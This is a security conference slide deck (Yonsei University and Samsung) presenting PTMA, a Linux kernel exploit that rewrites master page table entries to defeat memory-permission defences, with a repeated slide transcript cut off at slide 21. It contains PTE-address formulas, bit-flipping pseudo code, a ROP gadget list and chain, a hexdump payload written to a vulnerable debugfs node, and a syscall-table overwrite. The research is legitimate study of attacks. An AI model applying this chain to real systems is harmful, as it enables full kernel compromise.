PTMA(Page Table Manipulate Attack) :
Attacking the core of memory permission.
Jungseung Lee Hyungmin Ham
Inhwan Kim Jooseok Song
CClab
Department of Computer Science
Yonsei University
VD division
Samsung Electronics
Outline/Agenda
• Motivation
– Process/kernel memory permission
– Kernel and User space (Segregation)
– Kernel exploit and defense
– Memory permission against attack
• Background
– Attack Strategy
– Page table
– Kernel page table
• Page Table Manipulation Attack
– Attack in AArch32
– Attack in x86-64
• Usecase
– Simple util: Kernel Address space Converter
– Kernel code/data manipulation
– XN / Kernel Hardening incapacitation
• Conclusion
Motivation
Process memory permission
• User process memory permission against Attacks.
– Text section :
should not be modified.
=> Read-only (r) / executable (x)
– Heap section :
Against Heap overflow attack
=> Read-writable (RW) / Not executable (NX)
– Stack :
Against buffer overflow attack
=> Read-writable (RW) / Not executable (NX)
• How these are prevented from Attacks?
=> Memory permission based (Read, Write, Exec)
00008000-000d2000 r-xp 00000000 b3:00 204 /bin/bash
000d9000-000de000 rw-p 000c9000 b3:00 204 /bin/bash
000de000-000f8000 rw-p 00000000 00:00 0 [heap]
bec89000-becaa000 rw-p 00000000 00:00 0 [stack]
Motivation
Kernel memory permission
• As like user space, the permissions of kernel area are in
“sane” state.
Kernel memory region access right – Linux kernel v3.19.0 (Feb.2015)
Desired
mapping
X86
(non-PAE*)
X86
(PAE*)
X86-64 AArch32 AArch64
Kernel
Code
RO/X Yes Yes Yes Yes No (RW/X)
- working
Kernel
Read Only Data
RO/NX No
(RO/X)
Yes Yes Yes No (RW/X)
- working
Kernel
Data
RW/NX No
(RW/X)
Yes Yes Yes No (RW/X)
- working
*Physmap RW/NX No
(RW/X)
Yes Yes Yes No (RW/X)
- working
* PAE : Physical Address Extension
* Physmap : direct-mapped memory
unsigned long* addr = 0xC0000000;
printf("%lxn",*addr); wrong pointer access!!
Motivation
Kernel space and User space
* SMEP(x86) / PXN (ARM)
• Memory permission based (Access Permission control)
• Address space separation
- User space : Linear addresses from 0x00000000 to 0xbfffffff can be
addressed when the process runs in either Kernel or* User Mode.
- Kernel space : Linear addresses from 0xc0000000 to 0xffffffff can be
addressed when the process runs in Kernel Mode.
The kernel should be protected from userland!
=> Kernel Integrity
• ret2dir(Return-to-direct memory) attack:
– Place payload to kernel space through physmap.
• ret2dir Defense :
– Set physmap as Not eXecutable.
Motivation
Kernel exploit and defense
Not eXecutable
• Memory permission based (Not Executable)
Source : ret2dir: Rethinking Kernel Isolation
Kernel space : take over control and ???
=> No available kernel API (Not Accepted)
Then, Using ROP..?
=> It’s difficult to organize full ROP payload.
=> Limited kernel code.. No proper ROP gadget.. Too many effort..
the core of memory permission.
=>
Motivation
Memory permission
• Then, How about modify Page table directly?
Background
About Page Table
Source : Understanding the Linux kernel. 3rd Edition. – Linux Paging Model
– Each process has own address space and own page table set.
– The buddy system(kernel memory allocator) dynamically allocate
memory consumed by page table.
 It’s difficult to know the address of page table of current
process.
Background
About Page Table
• Let’s talk about kernel address space.
– All processes share the same copy of the kernel page table.
– By referencing Master Kernel Page Table, they share kernel address
space.
• Master Kernel Page Table
– A reference model for the Kernel Page tables of every process.
– If mapping on kernel space is changed, only Master Kernel Page Table is
modified, When a process accesses the modified area of kernel space,
page table is updated by referencing Master Kernel Page Table.
– The address of Master Kernel Page Table is decided at kernel build time.
 We can know the address of Master Kernel Page Table.
 If we change the attribute of Master Kernel Page Table,
we can Influence to memory permission of kernel Address space!!.
Background
Kernel Page Table
PTMA
Attack Strategy
Step 1. Find Master Kernel PTE of targeted region.
a. If you know kernel configuration.
Formula : *swapper_pg_dir = *PAGE_OFFSET + TEXT_OFFSET - PG_DIR_SIZE
Example : that is “0xC0004000” (Under ARM default config)
swapper_pg_dir = 0xC0000000 + 0x8000 – 0x4000 = 0xC0004000
b. If you have kernel symbol file (System.map)
PTMA
Attack in AArch32
*swapper_pg_dir : kernel symbol that points kernel pgd.
PAGE_OFFSET : Kernel memory is defined to start at PAGE_OFFSET
Step 1. Find Master Kernel PTE of targeted region.
PTMA
Attack in AArch32
In AArch32, Section type mapping is used for kernel space.
- single level mapping
- size of each mapping is 1MB (1 entry = > 1 MB)
- 4096 32-bit entries
Formula:
mapping size = 1MB, entry size = 4Byte(32bit)
(targeted) PTE address
= swapper_pg_dir + (targeted) Virtual address >> (𝑙𝑜𝑔2 sizeof(mapping)/sizeof(word))
Q : What is the PTE address of 0xD0000000 ~ 0xD00FFFFF under ARM default configuration?
A : swapper_pg_dir = 0xc0004000(under ARM default config)
(targeted) Virtual address = 0xD0000000
0xC0004000 + 0xD0000000 >> 𝑙𝑜𝑔2 220
/22
= 0xC0004000 + 0xD0000000 >> 18 = 0xC0007400
//AArch32 Pseudo code
{
unsigned int* a=0xc0007400;
*a = *a | (0x1 << 11); // User Access
}
PTMA
Attack in AArch32
Note that just few instructions are
required for modifying PTE attribute.
Step 2. Take over kernel control flow and Modify PTE attribute
Source : ARM Architecture Reference Manual ARMv7-A and ARMv7-R edition.
15 11/10 bit
Kernel code
Kernel data
AArch32 page table format (Translation Table)
Short-descriptor first-level descriptor formats
PTMA
Attack in AArch32
Step 2.
#> echo “user data” > /sys/kernel/debug/of_vul/copy_data
PTMA
Attack in AArch32
Step 2.
// 4 type instruction
Load register from memory (ldr)
Store register from memory (str)
Bit clear (bic)
OR (orr)
//AArch32 Pseudo code
{
unsigned int*a=0xc0007400;
*a = *a & ~(0x10); //XN
*a = *a | (0x1 << 11); //User Access
*a = *a & ~(0x1 << 15); //User Access
}
 Common type gadget. It’s easy to find these from limited
kernel text.
A. Find ROP gadget : Need 4 type instruction for PTMA attack.
Linux Kernel
// List of gadgets
0xc0101414: add sp, sp, #0xc; pop {r4, r5, r6, r7, pc};
0xc011012c: ldr r0, [r3]; bx lr;
0xc0115860: bic r0, r0, r5; orr r0, r0, r6; bx lr;
0xc0134c50: mov r0, r4; mov r1, r5; pop {r3, r4, r5, pc};
0xc0340f90: bic r1, r6, r0; ldr r0, [r4, #0x74]; str r1, [r4, #0x88]; blx r3;
0xc0340fe8: bic r1, r7, r0; ldr r0, [r4, #0x74]; str r1, [r4, #0x88]; blx r3;
0xc039459c: ldr r2, [r4, #4]; str r2, [r7, #4]; pop {r3, r4, r5, r6, r7, pc};
0xc039459c: ldr r2, [r4, #4]; str r2, [r7, #4]; pop {r3, r4, r5, r6, r7, pc};}
0xc0455138: bic r1, r3, r1; str r1, [r0, #0x198]; bx lr;
0xc04565ac: orr r1, r3, r1; str r1, [r0, #0x198]; bx lr;
0xc04565bc: bic r1, r3, r1; str r1, [r0, #0x198]; bx lr;
0xc045d478: bic r0, r0, r2; bic r1, r1, r3; bx lr;
0xc04fe2c4: str lr, [sp]; str r6, [sp, #4]; blx r5;
0xc0573494: ldr r3, [r3, #0xc]; str r3, [r4, #0x10]; pop {r4, pc};
0xc0804dd4: mov r0, r5; pop {r3, r4, r5, pc};
..........
PTMA
Attack in AArch32
Step 2.
gadget A
x
x
x
r4
r5
r6
r7
gadget B
r3
r4
r5
gadget C
r5
gadget D
0xc0101414
0x0
0x0
0x0
pte – 0x198
Operand(0x8000…)
0x0
0x0
0xc0134c50
pte – 0xc
0xd0000000
0x0
0xc0573494
0x0
0xc04565ac/0xc04565bc
B. ROP Payload Generation
…
Gadget A
x
x
x
r4
r5
r6
r7
Gadget B(pc)
r3
r4
r5
Gadget C
r4
Gadget D
unsigned long *a=0xc0007400
*a = *a | (0x1 << 11); //0x800
 Gadget A
r4 := 0xc0007400 – 0x198,
r5 := 0x8000
Step 2.
ROP gadget
A - 0xc0101414: add sp, sp, #0xc; pop {r4, r5, r6, r7, pc};
B - 0xc0134c50: mov r0, r4; mov r1, r5; pop {r3, r4, r5, pc};
C - 0xc0573494: ldr r3, [r3, #0xc]; str r3, [r4, #0x10]; pop {r4, pc};
D - 0xc04565ac: orr r1, r3, r1; str r1, [r0, #0x198]; bx lr; //orr
D’- 0xc04565bc: bic r1, r3, r1; str r1, [r0, #0x198]; bx lr; //bic
0xc0101414
0x0
0x0
0x0
a – 0x198
Operand(0x8000…)
0x0
0x0
0xc0134c50
a – 0xc
0xd0000000
0x0
0xc0573494
0x0
0xc04565ac/0xc04565bc
PTMA
Attack in AArch32
…
B. ROP Payload Execution
Gadget A
x
x
x
r4
r5
r6
r7
Gadget B
r3
r4
r5
Gadget C(pc)
r4
Gadget D
unsigned long *a=0xc0007400
*a = *a | (0x1 << 11); //0x800
 Gadget B
r0 := r4(0xc0007400 – 0x198),
r1 := r5(0x800),
r3 := 0xc0007400 – 0xc,
r4 := 0xd0000000(to write dummy)
Step 2.
ROP gadget
A - 0xc0101414: add sp, sp, #0xc; pop {r4, r5, r6, r7, pc};
B - 0xc0134c50: mov r0, r4; mov r1, r5; pop {r3, r4, r5, pc};
C - 0xc0573494: ldr r3, [r3, #0xc]; str r3, [r4, #0x10]; pop {r4, pc};
D - 0xc04565ac: orr r1, r3, r1; str r1, [r0, #0x198]; bx lr; //orr
D’- 0xc04565bc: bic r1, r3, r1; str r1, [r0, #0x198]; bx lr; //bic
0xc0101414
0x0
0x0
0x0
a – 0x198
Operand(0x8000…)
0x0
0x0
0xc0134c50
a – 0xc
0xd0000000
0x0
0xc0573494
0x0
0xc04565ac/0xc04565bc
PTMA
Attack in AArch32
…
B. ROP Payload Execution
Gadget A
x
x
x
r4
r5
r6
r7
Gadget B
r4
r5
Gadget C
r4
Gadget D(PC)
unsigned long *a=0xc0007400
*a = *a | (0x1 << 11); //0x800
 Gadget C
r3 := [r3(0xc0007400 – 0xc) + 0xc]
:= [0xc0007400 – 0xc + 0xc]
:= [0xc0007400]
Step 2.
ROP gadget
A - 0xc0101414: add sp, sp, #0xc; pop {r4, r5, r6, r7, pc};
B - 0xc0134c50: mov r0, r4; mov r1, r5; pop {r3, r4, r5, pc};
C - 0xc0573494: ldr r3, [r3, #0xc]; str r3, [r4, #0x10]; pop {r4, pc};
D - 0xc04565ac: orr r1, r3, r1; str r1, [r0, #0x198]; bx lr; //orr
D’- 0xc04565bc: bic r1, r3, r1; str r1, [r0, #0x198]; bx lr; //bic
0xc0101414
0x0
0x0
0x0
a – 0x198
Operand(0x8000…)
0x0
0x0
0xc0134c50
a – 0xc
0xd0000000
0x0
0xc0573494
0x0
0xc04565ac/0xc04565bc
PTMA
Attack in AArch32
…
r3
B. ROP Payload Execution
Gadget A
x
x
x
r4
r5
r6
r7
Gadget B
r3
r4
r5
Gadget C
r4
Gadget D
unsigned long *a=0xc0007400
*a = *a | (0x1 << 11); //0x800
 Gadget D
r1 := r3([0xc0007400]) orr r1
:= [0xc0007400] | 0x800,
[r0(0xc0007400–0x198)+0x198] := r1
[0xc0007400] := r1
Step 2.
ROP gadget
A - 0xc0101414: add sp, sp, #0xc; pop {r4, r5, r6, r7, pc};
B - 0xc0134c50: mov r0, r4; mov r1, r5; pop {r3, r4, r5, pc};
C - 0xc0573494: ldr r3, [r3, #0xc]; str r3, [r4, #0x10]; pop {r4, pc};
D - 0xc04565ac: orr r1, r3, r1; str r1, [r0, #0x198]; bx lr; //orr
D’- 0xc04565bc: bic r1, r3, r1; str r1, [r0, #0x198]; bx lr; //bic
0xc0101414
0x0
0x0
0x0
a – 0x198
Operand(0x8000…)
0x0
0x0
0xc0134c50
a – 0xc
0xd0000000
0x0
0xc0573494
0x0
0xc04565ac/0xc04565bc
PTMA
Attack in AArch32
…
B. ROP Payload Execution
Step 2.
#> hexdump rop_file
0000000 0000 0000 0000 0000 0000 0000 0000 0000
*
0000040 0000 0000 0000 0000 0000 0000 1414 c010
0000050 0000 0000 0000 0000 0000 0000 7268 c000
0000060 8000 0000 0000 0000 0000 0000 4c50 c013
0000070 73f4 c000 0000 d000 0000 0000 3494 c057
0000080 0000 0000 65ac c045
#> cat rop_file > /sys/kernel/debug/of_vul/copy_data
Let’s modify PTE with kernel vul.
PTMA
Attack in AArch32
Step 3.
• When address space is changed, It need to invalidate
TLB(Translation Lookaside Buffer).
• To replace that, just create new process that affected by
modified MKPGD.
• #> sh
Why to create a process?
PTMA
Attack in AArch32
Step 4.
PTMA
Attack in AArch32
PTMA
Attack in x86-64
Step 1. Find Master Kernel PTE of targeted region.
pmd type :
page size 2MB
pte type :
page size 4KB
Problem 1 : 2-MByte Page and 4-KByte Page is used for kernel space.
- Multi level mapping
- mapping size is NOT fixed (pte : 4KB, pmd : 2MB)
PTMA
Attack in x86-64
Step 1. Find Master Kernel PTE of targeted region.
47 39 38 30 29 21 20 12 11 0
Reserved
Dynamically allocated
=> Need Another approach to find the address of PTE.
Problem 2 : The memory resides page table is dynamically allocated.
- 512 64-bit entries.
page 1G
page 2M
page 4k
PTMA
Attack in x86-64
#> dmesg
…
init_memory_mapping: [mem 0x00000000-0x000fffff]
[mem 0x00000000-0x000fffff] page 4k
BRK [0x02289000, 0x02289fff] PGTABLE
BRK [0x0228a000, 0x0228afff] PGTABLE
BRK [0x0228b000, 0x0228bfff] PGTABLE
init_memory_mapping: [mem 0x7fc00000-0x7fdfffff]
[mem 0x7fc00000-0x7fdfffff] page 2M
BRK [0x0228c000, 0x0228cfff] PGTABLE
init_memory_mapping: [mem 0x60000000-0x7fbfffff]
[mem 0x60000000-0x7fbfffff] page 2M
init_memory_mapping: [mem 0x40000000-0x5fffffff]
[mem 0x40000000-0x5fffffff] page 2M
init_memory_mapping: [mem 0x00100000-0x3fffffff]
[mem 0x00100000-0x001fffff] page 4k
[mem 0x00200000-0x3fffffff] page 2M
init_memory_mapping: [mem 0x7fe00000-0x7fffdfff]
[mem 0x7fe00000-0x7fffdfff] page 4k
BRK [0x0228d000, 0x0228dfff] PGTABLE
…
Step 1. Find Master Kernel PTE of targeted region.
A. Getting Memory region and Page Table allocation information from
Kernel booting log
Page table allocation (physical address)
BRK [0x02289000, 0x02289fff] PGTABLE
BRK [0x0228a000, 0x0228afff] PGTABLE
BRK [0x0228b000, 0x0228bfff] PGTABLE
BRK [0x0228c000, 0x0228cfff] PGTABLE
BRK [0x0228d000, 0x0228dfff] PGTABLE
Mapping region and page size
[mem 0x00000000-0x000fffff] page 4k
[mem 0x00100000-0x001fffff] page 4k
[mem 0x00200000-0x3fffffff] page 2M
[mem 0x40000000-0x5fffffff] page 2M
[mem 0x60000000-0x7fbfffff] page 2M
[mem 0x7fc00000-0x7fdfffff] page 2M
[mem 0x7fe00000-0x7fffdfff] page 4k
Example : RAM size – 2048MB
PTMA
Attack in x86-64
Step 1. Find Master Kernel PTE of targeted region.
page 1G
page 2M
page 4k
47 39 38 30 29 21 20 12 11 0
Mapping region and page size
[mem 0x00000000-0x000fffff] page 4k
[mem 0x00100000-0x001fffff] page 4k
[mem 0x00200000-0x3fffffff] page 2M
[mem 0x40000000-0x5fffffff] page 2M
[mem 0x60000000-0x7fbfffff] page 2M
[mem 0x7fc00000-0x7fdfffff] page 2M
[mem 0x7fe00000-0x7fffdfff] page 4k
…
B. Categorize mapping info with address and mapping page size.
* Each page table has 512 entries. (512 64-bit entries)
Mapping region and page size
[mem 0x00000000-0x000fffff] page 4k
[mem 0x00100000-0x001fffff] page 4k
[mem 0x00200000-0x3fffffff] page 2M
[mem 0x40000000-0x5fffffff] page 2M
[mem 0x60000000-0x7fbfffff] page 2M
[mem 0x7fc00000-0x7fdfffff] page 2M
[mem 0x7fe00000-0x7fffdfff] page 4k
…
PTMA
Attack in x86-64
Step 1. Find Master Kernel PTE of targeted region.
Page Table Allocation(physical address)
BRK [0x02289000, 0x02289fff] PGTABLE … ①
BRK [0x0228a000, 0x0228afff] PGTABLE … ②
BRK [0x0228b000, 0x0228bfff] PGTABLE … ③
BRK [0x0228c000, 0x0228cfff] PGTABLE … ④
BRK [0x0228d000, 0x0228dfff] PGTABLE … ⑤
①
②
③
④
⑤
C. Making a pair of mapping (Mapping info and Page Table address)
Rule 1. The mapping for lower address is first
Rule 2. For the mapping of lower level, the mapping of higher level include
that should be done first.
Formula:
Physical address = (targeted) Virtual address – PAGE_OFFSET(0xFFFF8800_00000000)
mapping size = 2MB or 4KB , entry size = 8Byte
PTE address (physical)
= base address of page table +
(Physical address – base address of mapping group) >> (𝑙𝑜𝑔2 sizeof(mapping)/sizeof(entry))
PTMA
Attack in x86-64
Step 1. Find Master Kernel PTE of targeted region.
Q : What is the PTE address of 0xFFFF8800_75200000~0xFFFF8800_753FFFFF on the system?
A: Physical address = 0xFFFF8800_75200000 - 0xFFFF8800_00000000 = 0x75200000,
base address of page table = 0x0228c000,
base address of mapping group = 0x40000000,
0x0228c000 + (0x75200000 – 0x40000000 ) >> 𝑙𝑜𝑔2 221
/23
= 0x0228c000 + 0x35200000 >> 18 = 0x0228c000 + 0xd48 = 0x0228cd48
Mapping region and page size
[mem 0x40000000-0x5fffffff] page 2M
[mem 0x60000000-0x7fbfffff] page 2M
[mem 0x7fc00000-0x7fdfffff] page 2M
Page Table Allocation(physical address)
BRK [0x02289000, 0x02289fff] PGTABLE … ①
BRK [0x0228a000, 0x0228afff] PGTABLE … ②
BRK [0x0228b000, 0x0228bfff] PGTABLE … ③
BRK [0x0228c000, 0x0228cfff] PGTABLE … ④
BRK [0x0228d000, 0x0228dfff] PGTABLE … ⑤
//x86-64 Pseudo code
{
unsigned long* a = 0xFFFF880000000000 + 0x228cd48;
*a = *a | (0x1 << 2); // User Access
}
PTMA
Attack in x86-64
Note that just few instructions are
required for modifying PTE attribute.
Step 2. Take over kernel control flow and Modify PTE attribute
* PDE: Page Directory Entry
PTE : Page Table Entry
Bit Position(s) Contents
1(R/W) Read/write; if 0, writes may not be allowed to the region by this entry
2(U/S) User/supervisor; if 0, user-mode accesses are not allowed to the region by this entry
63 (XD) If IA32_EFER.NXE = 1, execute-disable(if 1, instruction fetches are not allowed from the
region controlled by this entry); otherwise, reserved (must be 0)
Source : Intel 64 and IA-32 Architecture Software Developer’s Manual, Volume 3
X86-64 IA-32e page table format
#> sh
Step 2. Take over kernel control flow and Modify PTE attribute
Step 3.
PTMA
Attack in x86-64
//x86-64 Pseudo code
{
unsigned long* a = 0xFFFF880000000000 + 0x228cd48;
*a = *a | (0x1 << 2); // User Access
}
=> With Kernel Vul, Do this job.
Step 4.
PTMA
Attack in x86-64
PTMA Usecase
- Simple utility: Kernel Address space Converter (AArch32)
After the permission of kernel space(that page table placed) is once pwned,
user process can modify kernel space.
=> direct page table modification
PTMA Usecase
- Kernel code/data manipulation
#> a.out
kernel read/write test
Before :
0xc0126ad8 0xc011d7b0 0xc011a0a8 0xc01dcaac 0xc01dcb38 0xc01db734
0xc01d9e28 0xc01331a8 0xc01db754 0xc01ea630 0xc01ea320 0xc01e2c38
0xc01dafa0 0xc01331a8 0xc01ea218 0xc01db22c
After :
0xdeadbeef 0xc011d7b0 0xc011a0a8 0xc01dcaac 0xc01dcb38 0xc01db734
0xc01d9e28 0xc01331a8 0xc01db754 0xc01ea630 0xc01ea320 0xc01e2c38
0xc01dafa0 0xc01331a8 0xc01ea218 0xc01db22c
vmlinux: file format elf32-littlearm
….
c01063e4 <sys_call_table>:
c01063e4: c0126ad8 c011d7b0 c011a0a8 c01dcaac .j..............
c01063f4: c01dcb38 c01db734 c01d9e28 c01331a8 8...4...(....1..
c0106404: c01db754 c01ea630 c01ea320 c01e2c38 T...0... ...8,..
c0106414: c01dafa0 c01331a8 c01ea218 c01db22c .....1......,...
Even if the hardened kernel with “/dev/mem protection” and “/dev/kmem
disabled” is working, it’s possible to manipulate kernel code/data just with
kernel memory access through user process.
#define SYSCALL_TABLE 0xc01063e4
#define VALUE 0xDEADBEEF
{
…
for(addr = SYSCALL_TABLE; addr < SYSCALL_TABLE + 0x40; addr+=4)
printf("0x%08x ",*(unsigned int*)addr);
addr = SYSCALL_TABLE;
*(unsigned int*)addr = VALUE;
printf("nAfter :n");
for(addr = SYSCALL_TABLE; addr < SYSCALL_TABLE + 0x40; addr+=4)
printf("0x%08x ",*(unsigned int*)addr);
…
PTMA Usecase
- Kernel Hardening incapacitation
- /dev/mem protection (CONFIG_DEVMEM)
- /dev/kmem disabled (CONFIG_DEVKMEM)
- Read-only data sections (CONFIG_DEBUG_RODATA)
- Module RO/NX (CONFIG_DEBUG_MODULE_RONX)…
Incapacitating defenses
based on memory
permission
Access Permission control
Not eXecutable
- XN(against ret2dir attack) incapacitation
eXecutable!!
Conclusion
• New kernel exploitation technique.
• Provide a way to find kernel page table address.
• Just need 1~2 bit kernel memory modification.
• It can bypass any sort of defenses based on kernel
memory permission
• It’s hard to protect PTMA attack
=> To set page table as R/O is not answer.
=> Need new design for page table allocation and memory permission
of the memory that page table located.
Q & A
PG_DIR_SIZE - "arch/arm/kernel/head.S“
PAGE_OFFSET - "arch/arm/Kconfig"
Formula : swapper_pg_dir = PAGE_OFFSET + TEXT_OFFSET - PG_DIR_SIZE
Under ARM default config, that is “0xC0004000”
swapper_pg_dir = 0xC0000000 + 0x8000 – 0x4000 = 0xC0004000
• return-to-user attack Defense:
- Set access control bit on page table entry of user’s
memory. (applied to mainline kernel)
X86 : SMEP(Supervisor mode execution protection)
ARM : PXN (Privileged execute Never )
Source : ret2dir: Rethinking Kernel Isolation

Page table manipulation attack

  • 1.
    PTMA(Page Table ManipulateAttack) : Attacking the core of memory permission. Jungseung Lee Hyungmin Ham Inhwan Kim Jooseok Song CClab Department of Computer Science Yonsei University VD division Samsung Electronics
  • 2.
    Outline/Agenda • Motivation – Process/kernelmemory permission – Kernel and User space (Segregation) – Kernel exploit and defense – Memory permission against attack • Background – Attack Strategy – Page table – Kernel page table • Page Table Manipulation Attack – Attack in AArch32 – Attack in x86-64 • Usecase – Simple util: Kernel Address space Converter – Kernel code/data manipulation – XN / Kernel Hardening incapacitation • Conclusion
  • 3.
    Motivation Process memory permission •User process memory permission against Attacks. – Text section : should not be modified. => Read-only (r) / executable (x) – Heap section : Against Heap overflow attack => Read-writable (RW) / Not executable (NX) – Stack : Against buffer overflow attack => Read-writable (RW) / Not executable (NX) • How these are prevented from Attacks? => Memory permission based (Read, Write, Exec) 00008000-000d2000 r-xp 00000000 b3:00 204 /bin/bash 000d9000-000de000 rw-p 000c9000 b3:00 204 /bin/bash 000de000-000f8000 rw-p 00000000 00:00 0 [heap] bec89000-becaa000 rw-p 00000000 00:00 0 [stack]
  • 4.
    Motivation Kernel memory permission •As like user space, the permissions of kernel area are in “sane” state. Kernel memory region access right – Linux kernel v3.19.0 (Feb.2015) Desired mapping X86 (non-PAE*) X86 (PAE*) X86-64 AArch32 AArch64 Kernel Code RO/X Yes Yes Yes Yes No (RW/X) - working Kernel Read Only Data RO/NX No (RO/X) Yes Yes Yes No (RW/X) - working Kernel Data RW/NX No (RW/X) Yes Yes Yes No (RW/X) - working *Physmap RW/NX No (RW/X) Yes Yes Yes No (RW/X) - working * PAE : Physical Address Extension * Physmap : direct-mapped memory
  • 5.
    unsigned long* addr= 0xC0000000; printf("%lxn",*addr); wrong pointer access!! Motivation Kernel space and User space * SMEP(x86) / PXN (ARM) • Memory permission based (Access Permission control) • Address space separation - User space : Linear addresses from 0x00000000 to 0xbfffffff can be addressed when the process runs in either Kernel or* User Mode. - Kernel space : Linear addresses from 0xc0000000 to 0xffffffff can be addressed when the process runs in Kernel Mode. The kernel should be protected from userland! => Kernel Integrity
  • 6.
    • ret2dir(Return-to-direct memory)attack: – Place payload to kernel space through physmap. • ret2dir Defense : – Set physmap as Not eXecutable. Motivation Kernel exploit and defense Not eXecutable • Memory permission based (Not Executable) Source : ret2dir: Rethinking Kernel Isolation
  • 7.
    Kernel space :take over control and ??? => No available kernel API (Not Accepted) Then, Using ROP..? => It’s difficult to organize full ROP payload. => Limited kernel code.. No proper ROP gadget.. Too many effort.. the core of memory permission. => Motivation Memory permission
  • 8.
    • Then, Howabout modify Page table directly? Background About Page Table Source : Understanding the Linux kernel. 3rd Edition. – Linux Paging Model
  • 9.
    – Each processhas own address space and own page table set. – The buddy system(kernel memory allocator) dynamically allocate memory consumed by page table.  It’s difficult to know the address of page table of current process. Background About Page Table
  • 10.
    • Let’s talkabout kernel address space. – All processes share the same copy of the kernel page table. – By referencing Master Kernel Page Table, they share kernel address space. • Master Kernel Page Table – A reference model for the Kernel Page tables of every process. – If mapping on kernel space is changed, only Master Kernel Page Table is modified, When a process accesses the modified area of kernel space, page table is updated by referencing Master Kernel Page Table. – The address of Master Kernel Page Table is decided at kernel build time.  We can know the address of Master Kernel Page Table.  If we change the attribute of Master Kernel Page Table, we can Influence to memory permission of kernel Address space!!. Background Kernel Page Table
  • 11.
  • 12.
    Step 1. FindMaster Kernel PTE of targeted region. a. If you know kernel configuration. Formula : *swapper_pg_dir = *PAGE_OFFSET + TEXT_OFFSET - PG_DIR_SIZE Example : that is “0xC0004000” (Under ARM default config) swapper_pg_dir = 0xC0000000 + 0x8000 – 0x4000 = 0xC0004000 b. If you have kernel symbol file (System.map) PTMA Attack in AArch32 *swapper_pg_dir : kernel symbol that points kernel pgd. PAGE_OFFSET : Kernel memory is defined to start at PAGE_OFFSET
  • 13.
    Step 1. FindMaster Kernel PTE of targeted region. PTMA Attack in AArch32 In AArch32, Section type mapping is used for kernel space. - single level mapping - size of each mapping is 1MB (1 entry = > 1 MB) - 4096 32-bit entries Formula: mapping size = 1MB, entry size = 4Byte(32bit) (targeted) PTE address = swapper_pg_dir + (targeted) Virtual address >> (𝑙𝑜𝑔2 sizeof(mapping)/sizeof(word)) Q : What is the PTE address of 0xD0000000 ~ 0xD00FFFFF under ARM default configuration? A : swapper_pg_dir = 0xc0004000(under ARM default config) (targeted) Virtual address = 0xD0000000 0xC0004000 + 0xD0000000 >> 𝑙𝑜𝑔2 220 /22 = 0xC0004000 + 0xD0000000 >> 18 = 0xC0007400
  • 14.
    //AArch32 Pseudo code { unsignedint* a=0xc0007400; *a = *a | (0x1 << 11); // User Access } PTMA Attack in AArch32 Note that just few instructions are required for modifying PTE attribute. Step 2. Take over kernel control flow and Modify PTE attribute
  • 15.
    Source : ARMArchitecture Reference Manual ARMv7-A and ARMv7-R edition. 15 11/10 bit Kernel code Kernel data AArch32 page table format (Translation Table) Short-descriptor first-level descriptor formats
  • 16.
    PTMA Attack in AArch32 Step2. #> echo “user data” > /sys/kernel/debug/of_vul/copy_data
  • 17.
    PTMA Attack in AArch32 Step2. // 4 type instruction Load register from memory (ldr) Store register from memory (str) Bit clear (bic) OR (orr) //AArch32 Pseudo code { unsigned int*a=0xc0007400; *a = *a & ~(0x10); //XN *a = *a | (0x1 << 11); //User Access *a = *a & ~(0x1 << 15); //User Access }  Common type gadget. It’s easy to find these from limited kernel text. A. Find ROP gadget : Need 4 type instruction for PTMA attack.
  • 18.
    Linux Kernel // Listof gadgets 0xc0101414: add sp, sp, #0xc; pop {r4, r5, r6, r7, pc}; 0xc011012c: ldr r0, [r3]; bx lr; 0xc0115860: bic r0, r0, r5; orr r0, r0, r6; bx lr; 0xc0134c50: mov r0, r4; mov r1, r5; pop {r3, r4, r5, pc}; 0xc0340f90: bic r1, r6, r0; ldr r0, [r4, #0x74]; str r1, [r4, #0x88]; blx r3; 0xc0340fe8: bic r1, r7, r0; ldr r0, [r4, #0x74]; str r1, [r4, #0x88]; blx r3; 0xc039459c: ldr r2, [r4, #4]; str r2, [r7, #4]; pop {r3, r4, r5, r6, r7, pc}; 0xc039459c: ldr r2, [r4, #4]; str r2, [r7, #4]; pop {r3, r4, r5, r6, r7, pc};} 0xc0455138: bic r1, r3, r1; str r1, [r0, #0x198]; bx lr; 0xc04565ac: orr r1, r3, r1; str r1, [r0, #0x198]; bx lr; 0xc04565bc: bic r1, r3, r1; str r1, [r0, #0x198]; bx lr; 0xc045d478: bic r0, r0, r2; bic r1, r1, r3; bx lr; 0xc04fe2c4: str lr, [sp]; str r6, [sp, #4]; blx r5; 0xc0573494: ldr r3, [r3, #0xc]; str r3, [r4, #0x10]; pop {r4, pc}; 0xc0804dd4: mov r0, r5; pop {r3, r4, r5, pc}; ..........
  • 19.
    PTMA Attack in AArch32 Step2. gadget A x x x r4 r5 r6 r7 gadget B r3 r4 r5 gadget C r5 gadget D 0xc0101414 0x0 0x0 0x0 pte – 0x198 Operand(0x8000…) 0x0 0x0 0xc0134c50 pte – 0xc 0xd0000000 0x0 0xc0573494 0x0 0xc04565ac/0xc04565bc B. ROP Payload Generation …
  • 20.
    Gadget A x x x r4 r5 r6 r7 Gadget B(pc) r3 r4 r5 GadgetC r4 Gadget D unsigned long *a=0xc0007400 *a = *a | (0x1 << 11); //0x800  Gadget A r4 := 0xc0007400 – 0x198, r5 := 0x8000 Step 2. ROP gadget A - 0xc0101414: add sp, sp, #0xc; pop {r4, r5, r6, r7, pc}; B - 0xc0134c50: mov r0, r4; mov r1, r5; pop {r3, r4, r5, pc}; C - 0xc0573494: ldr r3, [r3, #0xc]; str r3, [r4, #0x10]; pop {r4, pc}; D - 0xc04565ac: orr r1, r3, r1; str r1, [r0, #0x198]; bx lr; //orr D’- 0xc04565bc: bic r1, r3, r1; str r1, [r0, #0x198]; bx lr; //bic 0xc0101414 0x0 0x0 0x0 a – 0x198 Operand(0x8000…) 0x0 0x0 0xc0134c50 a – 0xc 0xd0000000 0x0 0xc0573494 0x0 0xc04565ac/0xc04565bc PTMA Attack in AArch32 … B. ROP Payload Execution
  • 21.
